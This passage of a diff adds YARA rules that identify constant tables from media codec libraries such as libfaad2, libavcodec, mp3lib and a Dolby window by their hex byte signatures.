7DDB45421760C8365827E8FD3AD72DE061080CA64FBD4B15CFEEE7C5285081B80BDA93D159BA0EF7D8C81608C3578706D502A6DE2539C10D9FAF111A0820184F3A11AAFAB7FDCD046FF62B1D14E46335CADF785758BC74F8230F98DC1CF1BE030901D1EE8F0BD9C18E4C5A13AFFB59463DD927B9EAF0AA2BBD16FCC635FBBC257354DC2B37D22FFD5CF96D00A2F73D008CE5D59F08A8E8155BF81FF90CFC50A39DEE80F5A9C656EFBF262F2182FCD64F04CA8DBC8B00 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_pos__flt64___64_lil_320_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f72b15879b8f3f13f72b15879b8f3f13fe39fbe0a9524f43fe39fbe0a9524f43fe39fbe0a9524f43fe39fbe0a9524f43fe39fbe0a9524f43f512d228ac95bf93fa5cae660ec73fc3fa5cae660ec73fc3f566e5809cc99f63f512d228ac95bf93f7e79b768b7ecff3f5a4f08782d8c06401d588e90814c0940512d228ac95bf93f196c8f83b7ecff3f5a4f08782d8c06404177932930de1140700f9df9307e1640a5cae660ec73fc3f9607e929721804404177932930de1140b3fc0ae3b8c51f40e8a1b60da37026407e79b768b7ecff3fb82c150ac7620c40559808652b511c40a58636001b402c40804754a86e1e39409607e929721804409d7a4908fb0b1440e8a1b60da3702640804754a86e1e3940a0fd4811191e4c40 }
+
+condition:
+	$a0
+}
+
+	
+rule asf_stream_group_guid__8_byt_16_
+{
+strings:
+	$a0 = { ce75f87b8d46d1118d82006097c9a2b2 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_rear__180_degree___flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 9160d4c572660fbf3ea9542927df2dbf3eca9924576d313ffc426e8904bd38bfab1d991a60c13d3f988177456d8a3bbfdf0784cb4cb9303fd351861a8689323fa275cc880da750bfbe9c79033175673f67600c3d90ac613f429f75420433853fc5605dc4707785bf437982ff21078bbf662a8a8bd5276a3fd0cec3d366ba9d3fc5354c5825e5c43f205bf239d1d0ba3f2db2fbd022cababf5bd61d22c3b4b7bf865fddf940c77ebf2f8b37ae59d88b3fa19c7ef46a5a94bf4eddd7886f12c03f120c9c8d2959d73f8831a34b14e8c83f210fa750d3b3a6bf6a8ab245aad9a73f83c3c6dcb647b83f39d5ed64c510a0bfb8633867875cbabfceecf3bc54f0b7bf2b0b19ef6deabcbf6f32bed6ba1ac3bf24f5909a8986bfbfb51ba69af045b0bfc397816f4dddabbf4aa2d75a0c60b3bf087507a8dedf97bfe167f5cfe9d0a53f5f02ef02b007973fc428aad838f9943fc28871bf53efac3ff6d1bc61a321ae3f8cd48e0af070a33f02ec8af18019883f68ec72734bf5763f47a190227db0743f87ca8062e9788abf882d562d317e98bfb7a05b9faf238bbf376b9f1024e785bffc771a764f8b9fbfec50db1de9bea2bf72432fad9b6aa3bfd9939f1fcc99a5bf7856a9f4e43b9bbf922a9a4a8afc83bf6b84f74597ea60bfcb219f6f5ad363bfc71676eb0c287bbfa0e99efe63ec723f091cba8ddeea933f4a609b84c0c4913fa83d47059810923ff4ff6113bf3e973fe9280eca8e6e933fd4669520cd0b833f0697a8aa82c55bbf6c1327bc97a77bbfbec70b54543683bff38565766df486bf82a115f10acd8abf7e928ce60ef690bfa6574b253e8896bf11331a3712c799bf4f70fbbb265391bf34c70e8de1b781bfd834c227f5ab7cbfb7b601c8cd5776bf948729872e4f61bf26140dcb6988283f1c6719b892c532bfb96b4f6c5cdc5c3f18f3e547419d7c3f54862f4a8ea9853f3429a4c9337c7a3fddadbf8cbb8e58bf28fd28e2ac3f70bf263fa82034b07abfa5ee6e01882283bf3d68fe7e554e7fbf25915589b70072bfe1266ace0c0269bfd58d462010c07cbf2189cc5323f383bf63d6d6df885180bf379f36ed7af47fbfbd937931cedd7ebf4708c73bed066dbfd5ff3c4652b6583f1d1d975b0120633fb7dabfd0997450bf7051550ce8b864bf3630c0e4a26a63bf07893a4a255c43bf62720fba046f683f9973f2d89fc7733f71362df86262723fed90d3dcc1b8fb3e124ac42f963e71bf9d2080f9574679bf6a93f57f28c47dbf3eb3605a14f57bbf0ee2a82f00437cbfad17d649651a7ebf513abf513b9183bf7f781bef822588bf39f405a276cd85bfb8aa99f2417c7abf62cbfe9c639a60bf51159e2b566c3cbfb8c81bd7254e52bfa85c6d19dc675dbfe09f6fdca2f064bfcacb4653f6085dbf7e786569ad302fbfc46207a32d5d473f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huff_iid_fine__8_byt_120_
+{
+strings:
+	$a0 = { 01E1020304E0E205DFE30607DEE40809DDE50A0BDCE60C0DDBE70E0FE810111213D9E91415DAEB1617D8EA18D6EC191A1BD71CD5ED1D1E1F20D3EF2122D4EE23242526D2F02728292A2BD0F22C2D2E2F3031D1F1CCF6CEF4CFF332333435363738393A3BC7C8C5C6CBF7C9CAFAFBF8F9FEFFFCFDC3C4CDF5 }
+
+condition:
+	$a0
+}
+
+	
+rule Open_H323_pwlib_bv_dct_basis__32_lil_4096_
+{
+strings:
+	$a0 = { 3434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343400000000000000000101010101010101020202020202020203030303030303030404040404040404050505050505050506060606060606060707070707070707030201000706050403020100070605040302010007060504030201000706050403020100070605040302010007060504030201000706050403020100070605040b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0f0e0d0c131211101615140d121918171b1a150e11181d1c1e1b160f10171c1f1f1c17100f161b1e1c1d18110e151a1b171819120d141516101112130c0d0e0f080808080808080809090909090909090a0a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0a0a0a0a0a0a0a0a0909090909090909080808080808080801010101010101012020202020202020070707070707070721212121212121212222222222222222000000000000000023232323232323230606060606060606302c2824272b2f33312d2925262a2e32322e2a2625292d31332f2b2724282c30332f2b2724282c30322e2a2625292d31312d2925262a2e32302c2824272b2f3327262524242526272b2a292828292a2b2f2e2d2c2c2d2e2f333231303031323330313233333231302c2d2e2f2f2e2d2c28292a2b2b2a2928242526272726252421072001062300222107200106230022210720010623002221072001062300222107200106230022210720010623002221072001062300222107200106230022343535343435353434353534343535343435353434353534343535343435353434353534343535343435353434353534343535343435353434353534343535341113100d120f0c0e1812171419160d1536111c15181b0e371c101f16171e0f1b1b0f1e17161f101c370e1b18151c1136150d1619141712180e0c0f120d1013113b3a393838393a3b3a3d3c39393c3d3a393c3d3a3a3d3c3938393a3b3b3a393838393a3b3b3a3938393c3d3a3a3d3c393a3d3c39393c3d3a3b3a393838393a3b1615140d121918171f1c17100f161b1e101112130c0d0e0f1c3618110e15371b1b37150e1118361c0f0e0d0c131211101e1b160f10171c1f171819120d1415163434343434343434353535353535353535353535353535353434343434343434343434343434343435353535353535353535353535353535343434343434343422222222222222220707070707070707232323232323232301010101010101010606060606060606202020202020202000000000000000002121212121212121030201000706050404050607000102030405060700010203030201000706050403020100070605040405060700010203040506070001020303020100070605042b2a292828292a2b303132333332313024252627272625242c41402f2f40412c2f40412c2c41402f2726252424252627333231303031323328292a2b2b2a29282f3e33282b303f2c402632292a3125414125312a293226402c3f302b28333e2f2c3f302b28333e2f4125312a29322640402632292a3125412f3e33282b303f2c00070700000707000106060101060601020505020205050203040403030404030403030404030304050202050502020506010106060101060700000707000007012307222100200601230722210020060123072221002006012307222100200601230722210020060123072221002006012307222100200601230722210020060a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0d0f130e110c101214161215180d1719151b1137360e1c18161e101b1c0f1f17171f0f1c1b101e16181c0e3637111b1519170d181512161412100c110e130f0d080b0b08080b0b08090a0a09090a0a090a09090a0a09090a0b08080b0b08080b0b08080b0b08080b0a09090a0a09090a090a0a09090a0a09080b0b08080b0b081812171419160d151b0f1e17161f101c0e0c0f120d101311370e1b18151c113636111c15181b0e371113100d120f0c0e1c101f16171e0f1b150d1619141712180b0a090808090a0b08090a0b0b0a090808090a0b0b0a09080b0a090808090a0b0b0a090808090a0b08090a0b0b0a090808090a0b0b0a09080b0a090808090a0b1b37150e1118361c101112130c0d0e0f1e1b160f10171c1f1615140d12191817171819120d1415161f1c17100f161b1e0f0e0d0c131211101c3618110e15371b09090909090909090b0b0b0b0b0b0b0b08080808080808080a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a08080808080808080b0b0b0b0b0b0b0b090909090909090903030303030303030505050505050505010101010101010107070707070707070000000000000000060606060606060602020202020202020404040404040404312d2925262a2e32332f2b2724282c30302c2824272b2f33322e2a2625292d31322e2a2625292d31302c2824272b2f33332f2b2724282c30312d2925262a2e322f40412c2c41402f242526272726252433323130303132332b2a292828292a2b28292a2b2b2a2928303132333332313027262524242526272c41402f2f40412c210720010623002222002306012007212200230601200721210720010623002221072001062300222200230601200721220023060120072121072001062300220106060101060601202323202023232007000007070000072122222121222221222121222221212200070700000707002320202323202023060101060601010628303e2c2f3f332b293126414025322a2a322540412631292b333f2f2c3e30282b333f2f2c3e30282a32254041263129293126414025322a28303e2c2f3f332b26242725252724262a282b29292b282a2e2c2f2d2d2f2c2e323033313133303231333032323033312d2f2c2e2e2c2f2d292b282a2a282b29252724262624272507010503040206000701050304020600070105030402060007010503040206000701050304020600070105030402060007010503040206000701050304020600130d110f100e120c121418161715190d11151d1b1c1a180e10161c1e1f1b170f0f171b1f1e1c16100e181a1c1b1d15110d191517161814120c120e100f110d133a383b39393b383a3d393a3c3c3a393d3c3a393d3d393a3c393b383a3a383b39393b383a3a383b393c3a393d3d393a3c3d393a3c3c3a393d3a383b39393b383a14161215180d1719171f0f1c1b101e1612100c110e130f0d181c0e3637111b15151b1137360e1c180d0f130e110c1012161e101b1c0f1f1719170d18151216143435353434353534353434353534343535343435353434353435353434353534343535343435353435343435353434353534343535343435343535343435353436111c15181b0e370e0c0f120d1013111c101f16171e0f1b1812171419160d15150d1619141712181b0f1e17161f101c1113100d120f0c0e370e1b18151c11363a3d3c39393c3d3a38393a3b3b3a39383b3a393838393a3b393c3d3a3a3d3c39393c3d3a3a3d3c393b3a393838393a3b38393a3b3b3a39383a3d3c39393c3d3a1e1b160f10171c1f1c1d18110e151a1b1615140d12191817101112130c0d0e0f0f0e0d0c13121110171819120d1415161b1a150e11181d1c1f1c17100f161b1e33323130303132332c2d2e2f2f2e2d2c2b2a292828292a2b2425262727262524272625242425262728292a2b2b2a29282f2e2d2c2c2d2e2f3031323333323130402632292a3125412c3f302b28333e2f2f3e33282b303f2c4125312a293226404125312a293226402f3e33282b303f2c2c3f302b28333e2f402632292a31254122212122222121220700000707000007232020232320202301060601010606010601010606010106202323202023232000070700000707002122222121222221012307222100200606200021220723010620002122072301012307222100200601230722210020060620002122072301062000212207230101230722210020062a282b29292b282a31333032323033312527242626242725412f2c40402c2f41402c2f41412f2c4026242725252724263230333131333032292b282a2a282b2927282f30332c2b2426292e31322d2a25252a2d32312e2926242b2c33302f2827242b2c33302f2827252a2d32312e292626292e31322d2a2527282f30332c2b24121418161715190d0f171b1f1e1c16100c120e100f110d130e18371c1b3615111115361b1c37180e130d110f100e120c10161c1e1f1b170f0d191517161814120a080b09090b080a090b080a0a080b09090b080a0a080b090a080b09090b080a0a080b09090b080a090b080a0a080b09090b080a0a080b090a080b09090b080a151b1137360e1c1812100c110e130f0d161e101b1c0f1f1714161215180d171919170d1815121614171f0f1c1b101e160d0f130e110c1012181c0e3637111b15090a0a09090a0a090b08080b0b08080b080b0b08080b0b080a09090a0a09090a0a09090a0a09090a080b0b08080b0b080b08080b0b08080b090a0a09090a0a091c101f16171e0f1b370e1b18151c11361812171419160d150e0c0f120d1013111113100d120f0c0e150d16191417121836111c15181b0e371b0f1e17161f101c03040403030404030502020505020205010606010106060107000007070000070007070000070700060101060601010602050502020505020403030404030304293126414025322a2b333f2f2c3e302828303e2c2f3f332b2a322540412631292a3225404126312928303e2c2f3f332b2b333f2f2c3e3028293126414025322a402c2f41412f2c40252724262624272532303331313330322a282b29292b282a292b282a2a282b2931333032323033312624272525272426412f2c40402c2f41070105030402060000060204030501070006020403050107070105030402060007010503040206000006020403050107000602040305010707010503040206001115361b1c37180e0c120e100f110d1310161c1e1f1b170f121418161715190d0d191517161814120f171b1f1e1c1610130d110f100e120c0e18371c1b3615113d393a3c3c3a393d393b383a3a383b393a383b39393b383a3c3a393d3d393a3c3c3a393d3d393a3c3a383b39393b383a393b383a3a383b393d393a3c3c3a393d161e101b1c0f1f17181c0e3637111b1514161215180d171912100c110e130f0d0d0f130e110c101219170d1815121614151b1137360e1c18171f0f1c1b101e1632303331313330322d2f2c2e2e2c2f2d2a282b29292b282a25272426262427252624272525272426292b282a2a282b292e2c2f2d2d2f2c2e313330323230333126292e31322d2a25242b2c33302f282727282f30332c2b24252a2d32312e2926252a2d32312e292627282f30332c2b24242b2c33302f282726292e31322d2a2510161c1e1f1b170f0e181a1c1b1d1511121418161715190d0c120e100f110d13130d110f100e120c0d1915171618141211151d1b1c1a180e0f171b1f1e1c1610 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights2__flt64___64_lil_248_
+{
+strings:
+	$a0 = { 7fdc3cdd927f6a3f11bbbe28a4a96c3f9d23d9c0a951703faa820f2dcb3a603f3184526ae514533f960ae88dac5f5d3f0d1289dfa0ff563f0557b3adead5553f918bde6764a9583ff0b766c093f55f3fed52fa7402bb663f4ab4e4f1b4fc703f076d286b8ab6793fcde2ac25702d833f865edacb118d913f5c960a8563f1963fae78341f21149d3fa77e390e1714a53f82531f48de39a83f8d3cb59f3138ab3fb9d3e7b4b810b13f7035fcb84780b43f1ae65f26e549b53fe522635a400db63f8d5253dc0253b93f7995b54df1b8bc3fc2be9d44847fbd3fb22b2d23f59ebe3f6f62484e266ec13f69006f8104c5c33f895e46b1dcd2c43f }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_intwinbase_MMX__32_big_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30FFFFFF2BFFFFFF26FFFFFF22FFFFFF1FFFFFFF1DFFFFFF1CFFFFFF1CFFFFFF1DFFFFFF20FFFFFF23FFFFFF29FFFFFF30FFFFFF38FFFFFF43FFFFFF4FFFFFFF5DFFFFFF6EFFFFFF81FFFFFF96FFFFFFADFFFFFFC7FFFFFFE30000000200000024000000480000006F00000099000000C5000000F4000001260000015B00000191000001CB000002070000024500000285000002C70000030B0000035000000397000003DF0000042800000471000004BA000005030000054C00000594000005DA0000061F00000662000006A2000006DF000007190000074E0000077F000007AA000007D1000007F0000008090000081B0000082500000827000008200000080F000007F5000007D0000007A0000007650000071E000006CB0000066C000005FF00000586000005000000046B000003CA0000031A0000025D00000192000000B9FFFFFFD3FFFFFEE0FFFFFDDFFFFFFCD2FFFFFBB9FFFFFA94FFFFF964FFFFF82AFFFFF6E6FFFFF599FFFFF444FFFFF2E9FFFFF187FFFFF021FFFFEEB7FFFFED4CFFFFEBDFFFFFEA73FFFFE909FFFFE7A3FFFFE643FFFFE4E9FFFFE399FFFFE253FFFFE11AFFFFDFEFFFFFDED5FFFFDDCDFFFFDCDAFFFFDBFDFFFFDB38FFFFDA8FFFFFDA01FFFFD992FFFFD944FFFFD919FFFFD912FFFFD931FFFFD979FFFFD9EAFFFFDA88FFFFDB53FFFFDC4DFFFFDD78FFFFDED4FFFFE064FFFFE228FFFFE422FFFFE652FFFFE8B9FFFFEB58FFFFEE2FFFFFF140FFFFF489FFFFF80BFFFFFBC6FFFFFFBA000003E60000084A00000CE4000011B5000016BA00001BF20000215C000026F700002CBF000032B4000038D400003F1B0000458700004C16000052C500005991000060760000677200006E81000075A000007CCBFFFF999FFFFFA0D8FFFFA811FFFFAF48FFFFB678FFFFBD9EFFFFC4B5FFFFCBB9FFFFD2A6FFFFD979FFFFE02DFFFFE6BEFFFFED2AFFFFF36AFFFFF97DFFFFFF5E0000050900000A7C00000FB3000014AA0000195E00001DCD000021F4000025CF0000295E00002C9C00002F89000032230000346700003654000037E90000392600003A0800003A9000003ABE }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_long__flt32___32_big_4096_
+{
+strings:
+	$a0 = { 399962f239e16fb33a0f53263a2ba86e3a46e3a03a6199713a7c1fa83a8b56683a98b3093aa633103ab3e07c3ac1c3103acfe1003ade3f643aece2833afbce053b05828f3b0d45503b15308d3b1d456f3b2585063b2df0533b3688433b3f4dba3b4841903b5164923b5ab7883b643b333b6df0503b77d7943b80f8d93b861fae3b8b609e3b90bbff3b9632243b9bc3623ba170093ba7386c3bad1cdc3bb31da83bb93b213bbf75973bc5cd573bcc42b13bd2d5f43bd9876c3be057693be746383bee54273bf581823bfcce973c021dda3c05e4923c09bb9a3c0da3193c119b353c15a4143c19bddc3c1de8b43c2224c13c26722a3c2ad1153c2f41a73c33c4063c3858593c3cfec53c41b7713c4682803c4b601b3c5050653c5553853c5a69a13c5f92dd3c64cf5f3c6a1f4d3c6f82cc3c74fa013c7a85113c8012113c82ebac3c85cf6d3c88bd663c8bb5a83c8eb8483c91c5563c94dce63c97ff093c9b2bd33c9e63543ca1a59f3ca4f2c73ca84add3cabadf33caf1c1b3cb295683cb619ea3cb9a9b53cbd44d83cc0eb673cc49d733cc85b0c3ccc24463ccff9303cd3d9dd3cd7c65d3cdbbec33cdfc31e3ce3d3813ce7effb3cec189e3cf04d7b3cf48ea33cf8dc253cfd36143d00ce3f3d0307ba3d0547843d078da53d09da243d0c2d093d0e865e3d10e6283d134c713d15b9403d182c9d3d1aa6903d1d27203d1fae553d223c373d24d0cd3d276c1e3d2a0e313d2cb70f3d2f66bf3d321d473d34daaf3d379efd3d3a6a3a3d3d3c6c3d4015993d42f5c93d45dd033d48cb4d3d4bc0ad3d4ebd2b3d51c0cd3d54cb993d57dd963d5af6c93d5e173a3d613eef3d646ded3d67a43b3d6ae1de3d6e26dc3d71733c3d74c7023d7822353d7b84da3d7eeef73d8130483d82ecd63d84ad283d8671403d8839213d8a04cd3d8bd4473d8da7923d8f7eaf3d9159a13d93386a3d951b0d3d97018c3d98ebe83d9ada253d9ccc433d9ec2463da0bc2f3da2b9ff3da4bbba3da6c1613da8caf43daad8783dace9ec3daeff533db118ae3db335ff3db557473db77c883db9a5c33dbbd2fa3dbe042d3dc0395f3dc272903dc4afc23dc6f0f53dc9362b3dcb7f643dcdcca33dd01de73dd273313dd4cc823dd729dc3dd98b3e3ddbf0a93dde5a1f3de0c79f3de3392a3de5aec03de828623deaa6103ded27cb3defad923df237663df4c5463df757343df9ed2f3dfc87363dff254a3e00e3b63e0236cc3e038be93e04e30b3e063c343e0797613e08f4943e0a53cc3e0bb5083e0d18493e0e7d8d3e0fe4d53e114e203e12b96e3e1426be3e1596103e1707623e187ab53e19f0093e1b675b3e1ce0ac3e1e5bfb3e1fd9473e2158903e22d9d53e245d143e25e24e3e2769813e28f2ac3e2a7dce3e2c0ae83e2d99f63e2f2af93e30bdf03e3252d93e33e9b33e35827e3e371d373e38b9df3e3a58733e3bf8f23e3d9b5b3e3f3fae3e40e5e83e428e073e44380c3e45e3f43e4791be3e4941683e4af2f13e4ca6583e4e5b9a3e5012b63e51cbab3e5386773e5543183e57018d3e58c1d33e5a83ea3e5c47ce3e5e0d7f3e5fd4fb3e619e3f3e63694a3e65361a3e6704ad3e68d5003e6aa7123e6c7ae13e6e506b3e7027ad3e7200a63e73db533e75b7b23e7795c13e79757d3e7b56e53e7d39f63e7f1ead3e8082853e8176833e826b523e8360ef3e84575a3e854e913e8646923e873f5d3e8838f03e89334a3e8a2e6a3e8b2a4e3e8c26f53e8d245e3e8e22873e8f216f3e9021143e9121763e9222923e9324683e9426f53e952a393e962e313e9732dd3e98383b3e993e4a3e9a45073e9b4c723e9c54893e9d5d4a3e9e66b43e9f70c53ea07b7c3ea186d63ea292d43ea39f723ea4acaf3ea5ba8a3ea6c9013ea7d8123ea8e7bb3ea9f7fc3eab08d23eac1a3b3ead2c373eae3ec23eaf51dc3eb065833eb179b43eb28e6f3eb3a3b13eb4b9783eb5cfc43eb6e6913eb7fddf3eb915ab3eba2df43ebb46b73ebc5ff43ebd79a83ebe93d03ebfae6d3ec0c97a3ec1e4f83ec300e33ec41d3a3ec539fb3ec657243ec774b33ec892a63ec9b0fb3ecacfb13ecbeec53ecd0e363ece2e013ecf4e253ed06e9f3ed18f6d3ed2b08f3ed3d2003ed4f3c13ed615ce3ed738253ed85ac53ed97dac3edaa0d73edbc4443edce7f23ede0bdf3edf30083ee0546b3ee179063ee29dd83ee3c2dd3ee4e8153ee60d7d3ee733133ee858d43ee97ebf3eeaa4d33eebcb0b3eecf1673eee17e53eef3e823ef0653c3ef18c123ef2b3003ef3da053ef501203ef6284c3ef74f8a3ef876d63ef99e2e3efac5913efbecfc3efd146d3efe3be23eff63593f0045673f00d9213f016cd93f02008e3f02943e3f0327e83f03bb8c3f044f293f04e2bd3f0576473f0609c63f069d3a3f0730a13f07c3fa3f0857443f08ea7e3f097da63f0a10bd3f0aa3c13f0b36b03f0bc98a3f0c5c4e3f0ceefb3f0d818f3f0e14093f0ea6693f0f38ae3f0fcad63f105ce13f10eecc3f1180993f1212443f12a3ce3f1335353f13c6783f1457963f14e88f3f1579613f160a0b3f169a8c3f172ae33f17bb0f3f184b103f18dae33f196a893f19fa003f1a89473f1b185d3f1ba7413f1c35f33f1cc4703f1d52b93f1de0cc3f1e6ea93f1efc4e3f1f89ba3f2016ed3f20a3e53f2130a13f21bd213f2249643f22d5693f23612e3f23ecb33f2477f73f2502f93f258db83f2618333f26a26a3f272c5a3f27b6053f283f673f28c8823f2951533f29d9da3f2a62173f2aea073f2b71ab3f2bf9013f2c80093f2d06c13f2d8d2a3f2e13413f2e99073f2f1e7a3f2fa39a3f3028653f30acdc3f3130fd3f31b4c73f32383a3f32bb543f333e163f33c07d3f34428b3f34c43d3f3545933f35c68c3f3647273f36c7653f3747433f37c6c23f3845e03f38c49d3f3942f93f39c0f13f3a3e873f3abbb83f3b38853f3bb4ed3f3c30ef3f3cac8a3f3d27be3f3da28a3f3e1ced3f3e96e83f3f10783f3f899e3f40025a3f407aa93f40f28d3f416a033f41e10c3f4257a83f42cdd43f4343923f43b8e03f442dbe3f44a22b3f4516273f4589b23f45fcca3f466f6f3f46e1a13f47535f3f47c4a93f48357f3f48a5df3f4915c93f49853d3f49f43b3f4a62c23f4ad0d23f4b3e693f4bab883f4c182f3f4c845d3f4cf0113f4d5b4b3f4dc60b3f4e30513f4e9a1c3f4f036b3f4f6c3f3f4fd4973f503c723f50a3d13f510ab33f5171183f51d6ff3f523c683f52a1533f5305c03f5369af3f53cd1e3f54300e3f54927f3f54f4713f5555e23f55b6d43f5617453f5677363f56d6a63f5735953f5794033f57f1f03f584f5c3f58ac463f5908af3f5964963f59bffb3f5a1ade3f5a753e3f5acf1d3f5b28793f5b81533f5bd9aa3f5c317f3f5c88d13f5cdfa03f5d35ed3f5d8bb73f5de0fe3f5e35c23f5e8a033f5eddc13f5f30fd3f5f83b53f5fd5eb3f60279e3f6078ce3f60c97b3f6119a63f61694e3f61b8733f6207153f6255353f62a2d33f62efee3f633c873f63889e3f63d4333f641f463f6469d73f64b3e63f64fd743f6546813f658f0c3f65d7163f661ea03f6665a83f66ac303f66f2383f6737bf3f677cc73f67c14e3f6805563f6848df3f688be93f68ce743f6910803f69520e3f69931d3f69d3af3f6a13c33f6a535a3f6a92743f6ad1113f6b0f313f6b4cd53f6b89fe3f6bc6ab3f6c02dc3f6c3e933f6c79cf3f6cb4903f6ceed83f6d28a63f6d61fb3f6d9ad73f6dd33b3f6e0b263f6e429a3f6e79963f6eb01b3f6ee6293f6f1bc23f6f50e43f6f85913f6fb9c93f6fed8c3f7020db3f7053b63f70861e3f70b8133f70e9963f711aa63f714b453f717b733f71ab303f71da7c3f7209593f7237c73f7265c63f7293573f72c0793f72ed2f3f7319773f7345533f7370c33f739bc83f73c6623f73f0913f741a573f7443b33f746ca63f7495313f74bd553f74e5113f750c663f7533553f7559de3f7580033f75a5c23f75cb1e3f75f0163f7614ab3f7638de3f765caf3f76801f3f76a32e3f76c5dd3f76e82c3f770a1c3f772bae3f774ce23f776db93f778e333f77ae513f77ce133f77ed7a3f780c873f782b3a3f7849943f7867953f78853e3f78a2903f78bf8b3f78dc2f3f78f87e3f7914783f79301d3f794b6f3f79666d3f7981183f799b723f79b57a3f79cf313f79e8973f7a01ae3f7a1a763f7a32ef3f7a4b1b3f7a62f93f7a7a8a3f7a91d03f7aa8ca3f7abf793f7ad5de3f7aebf93f7b01cb3f7b17543f7b2c963f7b41903f7b56443f7b6ab23f7b7eda3f7b92be3f7ba65d3f7bb9b83f7bccd03f7bdfa63f7bf23a3f7c048d3f7c169f3f7c28713f7c3a033f7c4b573f7c5c6c3f7c6d433f7c7ddd3f7c8e3b3f7c9e5c3f7cae433f7cbdee3f7ccd5f3f7cdc963f7ceb953f7cfa5a3f7d08e83f7d173e3f7d255e3f7d33473f7d40fa3f7d4e793f7d5bc33f7d68d83f7d75bb3f7d826a3f7d8ee73f7d9b323f7da74c3f7db3353f7dbeee3f7dca773f7dd5d13f7de0fc3f7debfa3f7df6c93f7e016c3f7e0be33f7e162d3f7e204c3f7e2a403f7e34093f7e3da93f7e471f3f7e506c3f7e59913f7e628e3f7e6b633f7e74123f7e7c9a3f7e84fc3f7e8d393f7e95503f7e9d443f7ea5133f7eacbe3f7eb4463f7ebbac3f7ec2ef3f7eca113f7ed1123f7ed7f13f7edeb03f7ee5503f7eebcf3f7ef2303f7ef8723f7efe963f7f049b3f7f0a843f7f10503f7f15ff3f7f1b923f7f21093f7f26653f7f2ba63f7f30cc3f7f35d93f7f3acb3f7f3fa53f7f44653f7f490d3f7f4d9c3f7f52143f7f56743f7f5abd3f7f5ef03f7f630c3f7f67123f7f6b023f7f6edd3f7f72a33f7f76553f7f79f23f7f7d7b3f7f80f13f7f84533f7f87a33f7f8adf3f7f8e0a3f7f91223f7f94283f7f971e3f7f9a023f7f9cd53f7f9f983f7fa24a3f7fa4ed3f7fa7803f7faa033f7fac783f7faede3f7fb1353f7fb37e3f7fb5b93f7fb7e63f7fba053f7fbc183f7fbe1d3f7fc0163f7fc2023f7fc3e23f7fc5b63f7fc77e3f7fc93b3f7fcaec3f7fcc933f7fce2e3f7fcfbf3f7fd1453f7fd2c13f7fd4343f7fd59c3f7fd6fb3f7fd8503f7fd99c3f7fdae03f7fdc1a3f7fdd4c3f7fde753f7fdf973f7fe0b03f7fe1c13f7fe2ca3f7fe3cc3f7fe4c73f7fe5ba3f7fe6a73f7fe78c3f7fe86b3f7fe9433f7fea153f7feae13f7feba63f7fec653f7fed1f3f7fedd33f7fee823f7fef2b3f7fefce3f7ff06d3f7ff1073f7ff19b3f7ff22b3f7ff2b73f7ff33d3f7ff3c03f7ff43e3f7ff4b83f7ff52e3f7ff5a03f7ff60e3f7ff6783f7ff6df3f7ff7423f7ff7a13f7ff7fe3f7ff8573f7ff8ac3f7ff8ff3f7ff94f3f7ff99c3f7ff9e63f7ffa2d3f7ffa723f7ffab43f7ffaf33f7ffb313f7ffb6b3f7ffba43f7ffbda3f7ffc0e3f7ffc403f7ffc703f7ffc9e3f7ffcca3f7ffcf53f7ffd1d3f7ffd443f7ffd693f7ffd8d3f7ffdaf3f7ffdd03f7ffdef3f7ffe0d3f7ffe293f7ffe443f7ffe5e3f7ffe773f7ffe8e3f7ffea53f7ffeba3f7ffece3f7ffee23f7ffef43f7fff053f7fff163f7fff263f7fff343f7fff423f7fff503f7fff5c3f7fff683f7fff733f7fff7e3f7fff883f7fff913f7fff9a3f7fffa33f7fffaa3f7fffb23f7fffb93f7fffbf3f7fffc53f7fffca3f7fffd03f7fffd53f7fffd93f7fffdd3f7fffe13f7fffe53f7fffe83f7fffeb3f7fffee3f7ffff03f7ffff33f7ffff53f7ffff73f7ffff83f7ffffa3f7ffffb3f7ffffc3f7ffffd3f7ffffe3f7fffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_SCF__flt64___64_lil_1024_
+{
+strings:
